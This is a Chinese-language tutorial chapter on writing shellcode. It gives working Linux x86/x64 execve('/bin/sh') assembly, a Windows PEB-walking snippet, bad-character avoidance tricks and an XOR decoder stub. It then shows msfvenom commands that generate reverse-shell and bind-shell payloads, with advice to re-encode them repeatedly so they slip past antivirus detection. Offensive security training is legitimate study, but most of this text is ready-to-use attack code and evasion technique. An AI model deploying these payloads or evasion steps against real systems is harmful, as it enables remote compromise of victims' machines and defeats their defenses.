4、Shellcode编写与编码:从原理到实战

Shellcode,说白了就是一段能直接执行的机器码。我刚开始接触时也觉得这东西很神秘,后来发现,它其实就是我们精心构造的“恶意载荷”。今天咱们就把它彻底讲透。

4.1 Linux x86/x64 Shellcode编写

Linux下的Shellcode,核心思路就一个:通过系统调用来完成目标操作。比如执行 /bin/sh,本质就是调用 execve 系统调用。

x86 下的经典写法

先看一个最简单的例子——执行 /bin/sh:

; x86 Linux execve("/bin/sh", NULL, NULL)
BITS 32

xor eax, eax        ; 清空 eax
push eax            ; 字符串结束符 '\0'
push 0x68732f2f     ; "hs//"
push 0x6e69622f     ; "nib/"
mov ebx, esp        ; ebx = 指向 "/bin//sh" 的指针
xor ecx, ecx        ; ecx = 0 (argv = NULL)
xor edx, edx        ; edx = 0 (envp = NULL)
mov al, 0x0b        ; syscall number for execve
int 0x80            ; 触发系统调用

嗯,这里要注意:为什么用 //sh 而不是 /sh?因为 // 在路径解析时等同于 /,而且多一个斜杠能帮我们凑齐4字节对齐。我在项目中遇到过,有些漏洞利用场景下,字节对齐问题会直接导致Shellcode崩溃。

x64 下的差异

到了64位环境,系统调用方式变了。参数通过寄存器传递,不再是栈传递:

; x64 Linux execve("/bin/sh", NULL, NULL)
BITS 64

xor rdx, rdx        ; rdx = 0 (envp = NULL)
mov rbx, 0x68732f6e69622f  ; "/bin/sh" 注意字节序
push rbx
mov rdi, rsp        ; rdi = 指向 "/bin/sh" 的指针
xor rsi, rsi        ; rsi = 0 (argv = NULL)
xor rax, rax
mov al, 59          ; syscall number for execve (59)
syscall             ; 触发系统调用

关键区别:x64 用 syscall 指令代替 int 0x80,参数顺序为 rdi、rsi、rdx、r10、r8、r9。系统调用号也变了,execve 从 0x0b 变成了 59。

4.2 Windows Shellcode编写

Windows 下的Shellcode编写,我个人觉得比Linux麻烦不少。为什么?因为Windows没有固定的系统调用接口,你得通过API来实现。

核心思路是:先找到 kernel32.dll 的基址,然后解析出需要的API地址。我常用的方法是利用PEB(进程环境块)来定位:

; Windows x86 MessageBox Shellcode (简化版)
BITS 32

; 通过FS段寄存器获取PEB
mov eax, fs:[0x30]  ; PEB
mov eax, [eax + 0x0c] ; LDR
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
mov eax, [eax]      ; 第二个模块 (ntdll.dll)
mov eax, [eax]      ; 第三个模块 (kernel32.dll)
mov eax, [eax + 0x10] ; 基址

; 然后解析导出表找到需要的API...
; 这部分代码较长,这里只展示核心思路

我的经验:Windows Shellcode最坑的是API地址会因系统版本和补丁不同而变化。所以我建议用哈希查找法——把API名字哈希后匹配,而不是硬编码地址。我曾经在Win7上写好的Shellcode,放到Win10上直接崩了,就是因为API地址变了。

4.3 避免空字节(Bad Character)

空字节(0x00)是Shellcode的头号敌人。为什么?因为很多字符串处理函数(如 strcpy)遇到0x00就停止拷贝了。你想想看,如果Shellcode中间有个0x00,那后面的代码全没了。

常见的坏字符还包括:0x0a(换行)、0x0d(回车)、0x20(空格)等,具体取决于漏洞环境。

避免空字节的技巧:

  • 用 xor 代替 mov: xor eax, eax 比 mov eax, 0 更安全,因为后者会生成0x00字节
  • 用 sub 代替 push: 比如 sub esp, 4 代替 push 0
  • 用 inc/dec 构造数值: 避免直接使用包含0x00的立即数
  • 利用移位操作: 比如 mov eax, 0x01010101 然后 shl eax, 8 得到 0x01010100

避坑指南:我曾经在写一个针对IIS的漏洞利用时,忘了检查0x0d这个坏字符。结果Shellcode在HTTP请求中被截断了,因为HTTP协议把0x0d当作行结束符。那次调试了我整整两天才找到原因。

4.4 编码器(Encoder)与解码器(Decoder)实现

当Shellcode本身无法避免坏字符时,我们就需要编码器了。原理很简单:把Shellcode编码成不含坏字符的形式,然后在运行时通过解码器还原。

一个经典的XOR编码器实现:

; 解码器 (Decoder) 示例
BITS 32

start:
    jmp short get_shellcode  ; 跳转到Shellcode地址

decoder:
    pop esi                 ; esi = Shellcode起始地址
    xor ecx, ecx
    mov cx, 0x100           ; Shellcode长度
    xor eax, eax
    mov al, 0x55            ; XOR密钥

decode_loop:
    xor byte [esi + ecx - 1], al  ; 逐字节解码
    loop decode_loop
    jmp short shellcode     ; 跳转到解码后的Shellcode

get_shellcode:
    call decoder
shellcode:
    ; 这里是编码后的Shellcode数据

这个解码器本身也要避免坏字符。你看,我用 jmp/call/pop 这种经典手法来获取Shellcode地址,而不是硬编码地址——这样更通用。

4.5 msfvenom生成与定制

说实话,现在很少有人手写完整的Shellcode了。msfvenom 是 Metasploit 框架自带的Shellcode生成工具,用起来非常方便。

基本用法:

# 生成Linux x86反向连接Shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# 指定坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f c

# 使用编码器
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -e x64/xor -f python
参数 说明 我的建议
-p 指定payload 优先用 staged 版本,体积小
-b 指定坏字符 先分析漏洞环境再定
-e 指定编码器 x86/shikata_ga_nai 最稳
-f 输出格式 c、python、raw 最常用

定制技巧:msfvenom 生成的Shellcode默认会包含一些特征字节,容易被杀软检测到。我一般会加 -i 5 参数迭代编码5次,或者用 -e x86/fnstenv_mov 这种不常见的编码器来绕过静态检测。

嗯,最后说一句:Shellcode编写是个熟能生巧的活。你刚开始可能觉得难,但多写几次就会发现规律。我个人建议,先在Linux下练手,因为环境简单、调试方便。等Linux玩熟了,再挑战Windows——那时候你会发现,很多思路是相通的。